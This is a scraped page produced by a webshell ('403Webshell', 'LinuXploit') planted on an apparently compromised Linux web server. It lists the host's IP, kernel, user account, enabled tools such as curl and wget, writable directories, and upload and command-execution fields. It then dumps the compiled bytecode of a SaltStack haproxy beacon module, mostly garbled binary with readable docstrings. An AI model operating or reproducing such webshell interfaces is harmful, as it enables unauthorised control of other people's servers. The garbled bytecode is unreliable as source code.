403Webshell
Server IP : 198.38.94.13  /  Your IP : 216.73.217.33
Web Server : Apache
System : Linux d4744.dxb1.stableserver.net 5.14.0-611.49.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Apr 21 16:39:08 EDT 2026 x86_64
User : revivere ( 1140)
PHP Version : 8.2.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/saltstack/salt/lib/python3.10/site-packages/salt/beacons/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/saltstack/salt/lib/python3.10/site-packages/salt/beacons/__pycache__/haproxy.cpython-310.pyc
o

;jm�@s>dZddlZddlZe�e�ZdZdd�Zdd�Z	dd	�Z
dS)
z�
Watch current connections of haproxy server backends.
Fire an event when over a specified threshold.

.. versionadded:: 2016.11.0
�NZhaproxycCs&dtvrtSd}t�dt|�d|fS)z@
    Only load the module if haproxyctl module is installed
    �haproxy.get_sessionsz haproxy.get_sessions is missing.zUnable to load %s beacon: %sF)�__salt__�__virtualname__�log�error)�err_msg�r�H/opt/saltstack/salt/lib/python3.10/site-packages/salt/beacons/haproxy.py�__virtual__s
r
cCs�t|t�sdStjj�|�}d|vrdSt|dt�sdS|dD]'}t�d|d|�d|d|vr8dS|d|d}t|t�sHdSq!d	S)
z+
    Validate the beacon configuration
    )Fz0Configuration for haproxy beacon must be a list.�backends)Fz3Configuration for haproxy beacon requires backends.)Fz1Backends for haproxy beacon must be a dictionary.z	config %s�servers)Fz,Backends for haproxy beacon require servers.)Fz*Servers for haproxy beacon must be a list.)TzValid beacon configuration)	�
isinstance�list�salt�utils�beacons�list_to_dict�dictr�debug)�config�backendZ_serversrrr	�validates 

�rc	Cs�g}tjj�|�}|�dd�D]8}|d|}|d}|dD]'}td||�}|rFt|�t|�krF|||d�}t�d||||�|�	|�qq|S)a�
    Check if current number of sessions of a server for a specific haproxy backend
    is over a defined threshold.

    .. code-block:: yaml

        beacons:
          haproxy:
            - backends:
                www-backend:
                    threshold: 45
                    servers:
                      - web1
                      - web2
            - interval: 120
    rr�	thresholdrr)�server�scurrz!Emit because %s > %s for %s in %s)
rrrr�getr�intrr�append)r�retrZbackend_configrrrZ_serverrrr	�beacon=s0��
��r)�__doc__�loggingZsalt.utils.beaconsr�	getLogger�__name__rrr
rrrrrr	�<module>s
 

Youez - 2016 - github.com/yon3zu
LinuXploit